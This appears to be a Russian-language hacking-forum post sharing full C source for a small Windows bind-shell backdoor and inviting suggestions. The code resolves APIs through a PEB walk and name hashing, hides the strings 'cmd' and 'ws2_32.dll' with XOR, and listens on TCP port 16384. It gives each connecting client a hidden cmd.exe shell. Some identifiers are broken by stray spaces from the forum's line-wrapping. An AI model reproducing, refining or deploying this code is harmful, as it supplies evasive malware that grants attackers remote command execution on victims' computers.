Как стартовый вариант предлагаю нижеприведенный код. 2 кила на выходе замечания и предложения сыпем сюда)

//
// Advanced build config
//
#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/SECTION:.text,EWRX")
#pragma comment(linker, "/NODEFAULTLIB")
#pragma comment(linker, "/ENTRY:startcode")

//
// Includes
//
#include <winsock2.h>

//
// Definitions
//
#ifdef FD_ISSET
#undef FD_ISSET
#define FD_ISSET(fd, set) pTable->api.WsWSAFDIsSet((SOCKET)(fd), (fd_set FAR *)(set))
#endif

#define MAX_MODULENAME_SIZE 128
#define MAX_FUNCNAME_SIZE 128
#define MAX_STRING_SIZE 256
#define MAX_CONNECTIONS 255
#define RVATOVA(base,offset) ((LPVOID)((DWORD)(base)+(DWORD)(offset)))

//
// Structures
//
#pragma pack (1)
typedef struct _APITABLE
{
struct _API{ // address table for various api functions
//
// kernel32 imports...
//
BOOL (__stdcall* KeCloseHandle)(HANDLE);
BOOL (__stdcall* KeCreatePipe)(PHANDLE,PHANDLE,LPSECURITY_ATTRIBUTE S,DWORD);
BOOL (__stdcall* KeCreateProcess)(LPCTSTR,LPTSTR,LPSECURITY_ATTRIBU TES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCTST R,LPSTARTUPINFO,LPPROCESS_INFORMATION);
HANDLE (__stdcall* KeCreateThread)(LPSECURITY_ATTRIBUTES,SIZE_T,LPTHR EAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);
HMODULE (__stdcall* KeLoadLibrary)(LPCTSTR);
BOOL (__stdcall* KePeekNamedPipe)(HANDLE,LPVOID,DWORD,LPDWORD,LPDWO RD,LPDWORD);
BOOL (__stdcall* KeReadFile)(HANDLE,LPVOID,DWORD,LPDWORD,LPOVERLAPP ED);
VOID (__stdcall* KeSleep)(DWORD);
BOOL (__stdcall* KeTerminateProcess)(HANDLE,DWORD);
DWORD (__stdcall* KeWaitForSingleObject)(HANDLE,DWORD);
BOOL (__stdcall* KeWriteFile)(HANDLE,LPCVOID,DWORD,LPDWORD,LPOVERLA PPED);
HGLOBAL (__stdcall* KeGlobalAlloc)(UINT,SIZE_T);
HGLOBAL (__stdcall* KeGlobalFree)(HGLOBAL);
//
// ws2_32 imports...
//
int (__stdcall* WsWSAStartup)(WORD,LPWSADATA);
SOCKET (__stdcall* Wssocket)(int,int,int);
int (__stdcall* Wsbind)(SOCKET,struct SOCK_ADDR*,int);
int (__stdcall* Wslisten)(SOCKET,int);
SOCKET (__stdcall* Wsaccept)(SOCKET,struct SOCK_ADDR*,int FAR*);
u_short (__stdcall* Wshtons)(u_short);
int (__stdcall* Wsselect)(int,fd_set*,fd_set*,fd_set*,const struct timeval*);
int (__stdcall* Wsioctlsocket)(SOCKET,long,u_long*);
int (__stdcall* Wssend)(SOCKET,const char FAR*,int,int);
int (__stdcall* Wsrecv)(SOCKET,char FAR*,int,int);
int (__stdcall* Wsclosesocket)(SOCKET);
int (__stdcall* WsWSAFDIsSet)(SOCKET, fd_set FAR *);
}api;

struct _HMODS{
HMODULE hKernel32;
HMODULE hWs2_32;

}hmods;

SOCKET g_server;
SOCKET client;

}APITABLE;
#pragma pack ()


//
// System routines
//
// (dont touch a stack)
DWORD __fastcall CalcHash(char *str)
{
DWORD hash = 0;
char* copystr = str;
while(*copystr) {
hash = ((hash << 7) & (DWORD)(-1))|(hash >> (32-7));
hash = hash ^ (*copystr);
copystr++;
}
return hash;
}

// (dont touch a stack)
LPVOID __fastcall NameHashLoad(HMODULE hModule, DWORD lpProcNameHash)
{
PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER)
((char*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew +
sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));

PIMAGE_EXPORT_DIRECTORY ped = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(hModule,
poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

int nOrdinal;
if (HIWORD((DWORD)lpProcNameHash) == 0)
nOrdinal = (LOWORD((DWORD)lpProcNameHash)) - ped->Base;
else {
DWORD *pdwNamePtr = (DWORD*)RVATOVA(hModule, ped->AddressOfNames);
WORD *pwOrdinalPtr = (WORD*)RVATOVA(hModule, ped->AddressOfNameOrdinals);

for (DWORD i = 0; i < ped->NumberOfNames; i++, pdwNamePtr++, pwOrdinalPtr++){
if (CalcHash((char*)RVATOVA(hModule, *pdwNamePtr)) == lpProcNameHash){
nOrdinal = *pwOrdinalPtr;
break;
}
}
if (i == ped->NumberOfNames) return 0;
}

DWORD *pAddrTable = (DWORD*)RVATOVA(hModule, ped->AddressOfFunctions);
DWORD dwRVA = pAddrTable[nOrdinal];
DWORD ret = (DWORD)RVATOVA(hModule, dwRVA);

return (LPVOID)ret;
}

// (dont touch a stack)
void __fastcall fxmemset(void* dst, char with, unsigned int len)
{
for(unsigned int i=0; i<len;i++)
*((char*)dst+i)=with;
}


//
// interaction thread for each established connection
//
DWORD __stdcall WorkerThread(LPVOID lpParam)
{
APITABLE *pTable = (APITABLE*)lpParam;
SOCKET sock = pTable->client;

char s_proc[] = "\x46\x48\x41\x00";

// decode string:
for(int a=0; a<3; a++)
s_proc[a] ^= 0x25;


SECURITY_ATTRIBUTES sa;
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);

// Create Pipe for server input <- network recv
HANDLE hServerInputPipe, hNetworkRecvPipe;

if(pTable->api.KeCreatePipe(&hServerInputPipe, &hNetworkRecvPipe, &sa, 0)==0) {
pTable->api.Wsclosesocket(sock);
return 0;
}

// Create Pipe for server output -> network send
HANDLE hServerOutputPipe, hNetworkSendPipe;

if(pTable->api.KeCreatePipe(&hNetworkSendPipe, &hServerOutputPipe, &sa, 0)==0) {
pTable->api.KeCloseHandle(hServerInputPipe);
pTable->api.KeCloseHandle(hNetworkRecvPipe);
pTable->api.Wsclosesocket(sock);
return 0;
}

// Start Application
PROCESS_INFORMATION pi;
STARTUPINFO si;

fxmemset(&si, 0, sizeof(STARTUPINFO));

si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | STARTF_FORCEOFFFEEDBACK;

si.wShowWindow = SW_HIDE;
si.hStdError = hServerOutputPipe;
si.hStdInput = hServerInputPipe;
si.hStdOutput = hServerOutputPipe;

if(pTable->api.KeCreateProcess(NULL, s_proc, NULL, NULL, TRUE, CREATE_SEPARATE_WOW_VDM, NULL, NULL, &si, &pi)==0) {
pTable->api.KeCloseHandle(hServerInputPipe);
pTable->api.KeCloseHandle(hNetworkRecvPipe);
pTable->api.KeCloseHandle(hServerOutputPipe);
pTable->api.KeCloseHandle(hNetworkSendPipe);
pTable->api.Wsclosesocket(sock);
return 0;
}


DWORD dwBytes;
int nLen;
fd_set rfds;

while(TRUE) {

// Check network socket
pTable->api.KeSleep(20);

FD_ZERO(&rfds);
FD_SET(sock, &rfds);
TIMEVAL tm;
tm.tv_sec=0;
tm.tv_usec=0;
if(pTable->api.Wsselect(0, &rfds, NULL, NULL, &tm) > 0) {

if(FD_ISSET(sock, &rfds)) {

pTable->api.Wsioctlsocket(sock, FIONREAD, (u_long*)&nLen);

if(nLen <= 0) {
pTable->api.KeCloseHandle(hNetworkSendPipe);
pTable->api.KeCloseHandle(hServerOutputPipe);
pTable->api.KeCloseHandle(hNetworkRecvPipe);
pTable->api.KeCloseHandle(hServerInputPipe);
pTable->api.Wsclosesocket(sock);
return 0;
}

char *buffer = (char *)pTable->api.KeGlobalAlloc(GPTR, nLen);

if(buffer != NULL) {
nLen = pTable->api.Wsrecv(sock, buffer, nLen, 0);

if(nLen > 0 && nLen < WSABASEERR){
pTable->api.KeWriteFile(hNetworkRecvPipe, buffer, nLen, &dwBytes, NULL);
}else{
pTable->api.KeGlobalFree(buffer);
break;
}
pTable->api.KeGlobalFree(buffer);
}
}
}

// Check handle
pTable->api.KePeekNamedPipe(hNetworkSendPipe, NULL, 0, NULL, (LPDWORD)&nLen, NULL);
if(nLen > 0) {
char *buffer =(char *)pTable->api.KeGlobalAlloc(GPTR, nLen);
if(buffer!=NULL) {
pTable->api.KeReadFile(hNetworkSendPipe, buffer, nLen, &dwBytes, NULL);
pTable->api.Wssend(sock, buffer, dwBytes, 0);
pTable->api.KeGlobalFree(buffer);
}
}

// Check for death
if(pTable->api.KeWaitForSingleObject(pi.hProcess, 0) != WAIT_TIMEOUT) break;
}

pTable->api.KeCloseHandle(hNetworkSendPipe);
pTable->api.KeCloseHandle(hServerOutputPipe);
pTable->api.KeCloseHandle(hNetworkRecvPipe);
pTable->api.KeCloseHandle(hServerInputPipe);

pTable->api.Wsclosesocket(sock);
pTable->api.KeTerminateProcess(pi.hProcess, 0);

return 0;
}


DWORD __stdcall ServerThread(LPVOID lpParam)
{
SOCKET s;
APITABLE *pTable = (APITABLE*)lpParam;

while(TRUE) { // its in ma style )

pTable->api.KeSleep(20);

s = pTable->api.Wsaccept(pTable->g_server, NULL, NULL);

if(s != INVALID_SOCKET) {

DWORD tid;
HANDLE hThread;

// spawn worker thread and wait until it ends
pTable->client = s;
hThread = pTable->api.KeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkerThread, pTable, 0, &tid);
pTable->api.KeWaitForSingleObject(hThread, INFINITE);

}
}
return 0;
}

//
// ENTRY POINT
//
int __stdcall startcode()
{
APITABLE atMain;
WSADATA wsd;
char ws_name[] = "\x32\x36\x77\x1a\x76\x77\x6b\x21\x29\x29";

//
// init the api table
//

// 1) init kernel32's stuff...

__asm {

mov eax, dword ptr fs:[30h]
mov eax, dword ptr [eax+0ch]
mov esi, dword ptr [eax+1ch]
lodsd
mov eax, dword ptr [eax+08h]
mov atMain.hmods.hKernel32, eax
}

atMain.api.KeCloseHandle = (BOOL(__stdcall*)(HANDLE))NameHashLoad(atMain.hmod s.hKernel32, 0x723EB0D5);
atMain.api.KeCreatePipe = (BOOL(__stdcall*)(PHANDLE,PHANDLE,LPSECURITY_ATTRI BUTES,DWORD))NameHashLoad(atMain.hmods.hKernel32, 0xA8D1FFE2);
atMain.api.KeCreateProcess = (BOOL(__stdcall*)(LPCTSTR,LPTSTR,LPSECURITY_ATTRIB UTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCTS TR,LPSTARTUPINFO,LPPROCESS_INFORMATION))NameHashLo ad(atMain.hmods.hKernel32, 0x46318AC7);
atMain.api.KeCreateThread = (HANDLE(__stdcall*)(LPSECURITY_ATTRIBUTES,SIZE_T,L PTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD))NameHa shLoad(atMain.hmods.hKernel32, 0x6FB89AF0);
atMain.api.KeLoadLibrary = (HMODULE(__stdcall*)(LPCTSTR))NameHashLoad(atMain. hmods.hKernel32, 0xC8AC8026);
atMain.api.KePeekNamedPipe = (BOOL(__stdcall*)(HANDLE,LPVOID,DWORD,LPDWORD,LPDW ORD,LPDWORD))NameHashLoad(atMain.hmods.hKernel32, 0x81D5763E);
atMain.api.KeReadFile = (BOOL(__stdcall*)(HANDLE,LPVOID,DWORD,LPDWORD,LPOV ERLAPPED))NameHashLoad(atMain.hmods.hKernel32, 0x487FE16B);
atMain.api.KeSleep = (void(__stdcall*)(DWORD))NameHashLoad(atMain.hmods .hKernel32, 0x3D9972F5);
atMain.api.KeTerminateProcess = (BOOL(__stdcall*)(HANDLE,DWORD))NameHashLoad(atMai n.hmods.hKernel32, 0x9E6FA842);
atMain.api.KeWaitForSingleObject = (DWORD(__stdcall*)(HANDLE,DWORD))NameHashLoad(atMa in.hmods.hKernel32, 0xC54374F3);
atMain.api.KeWriteFile = (BOOL(__stdcall*)(HANDLE,LPCVOID,DWORD,LPDWORD,LPO VERLAPPED))NameHashLoad(atMain.hmods.hKernel32, 0x0F3FD1C3);
atMain.api.KeGlobalAlloc = (HGLOBAL(__stdcall*)(UINT,SIZE_T))NameHashLoad(atM ain.hmods.hKernel32, 0x725EA171);
atMain.api.KeGlobalFree = (HGLOBAL(__stdcall*)(HGLOBAL))NameHashLoad(atMain. hmods.hKernel32, 0x240339C8);

// 2) init ws2_32's stuff...
for(int i=0; i<10; i++)
ws_name[i]^=0x45;

atMain.hmods.hWs2_32 = atMain.api.KeLoadLibrary(ws_name);
atMain.api.WsWSAStartup = (int(__stdcall*)(WORD,LPWSADATA))NameHashLoad(atMa in.hmods.hWs2_32, 0xCDDE757D);
atMain.api.Wssocket = (SOCKET(__stdcall*)(int,int,int))NameHashLoad(atMa in.hmods.hWs2_32, 0xFC7AF16A);
atMain.api.Wsbind = (int(__stdcall*)(SOCKET,struct SOCK_ADDR*,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0C5A7764);
atMain.api.Wslisten = (int(__stdcall*)(SOCKET,int))NameHashLoad(atMain.h mods.hWs2_32, 0x9E7D3188);
atMain.api.Wsaccept = (SOCKET(__stdcall*)(SOCKET,struct SOCK_ADDR*,int FAR*))NameHashLoad(atMain.hmods.hWs2_32, 0x3C797B7A);
atMain.api.Wshtons = (u_short(__stdcall*)(u_short))NameHashLoad(atMain. hmods.hWs2_32, 0x8E9BF775);
atMain.api.Wsselect = (int(__stdcall*)(int,fd_set*,fd_set*,fd_set*,const struct timeval*))NameHashLoad(atMain.hmods.hWs2_32,0x5D99 726A);
atMain.api.Wsioctlsocket = (int(__stdcall*)(SOCKET,long,u_long*))NameHashLoad (atMain.hmods.hWs2_32, 0x1F935B1D);
atMain.api.Wssend = (int(__stdcall*)(SOCKET,const char FAR*,int,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0E797764);
atMain.api.Wsrecv = (int(__stdcall*)(SOCKET,char FAR*,int,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0E5971F6);
atMain.api.Wsclosesocket = (int(__stdcall*)(SOCKET))NameHashLoad(atMain.hmods .hWs2_32, 0x939D7D9C);
atMain.api.WsWSAFDIsSet = (int(__stdcall*)(SOCKET, fd_set FAR *))NameHashLoad(atMain.hmods.hWs2_32, 0x4DFC1F3B);

//
// letz run it...
//
if(atMain.api.WsWSAStartup(0x202, &wsd)!=0)
return 0;

SOCKADDR_IN saddr;

fxmemset(&saddr, 0, sizeof(SOCKADDR_IN));

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = 0;
saddr.sin_port = atMain.api.Wshtons(16384);

atMain.g_server = atMain.api.Wssocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(atMain.g_server == INVALID_SOCKET)
return 0;

if(atMain.api.Wsbind(atMain.g_server, (SOCK_ADDR *)&saddr, sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
atMain.api.Wsclosesocket(atMain.g_server);
return 0;
}

if(atMain.api.Wslisten(atMain.g_server, MAX_CONNECTIONS)!=0){
atMain.api.Wsclosesocket(atMain.g_server);
return 0;
}

//
// run server thread
//
DWORD dwid;
HANDLE hSvrThread;

hSvrThread = atMain.api.KeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ServerThread, &atMain, 0, &dwid);

//
// enter the idle loop
//
atMain.api.KeWaitForSingleObject(hSvrThread, INFINITE);
return 0;
}
[/CODE]

__________________


snow white world wide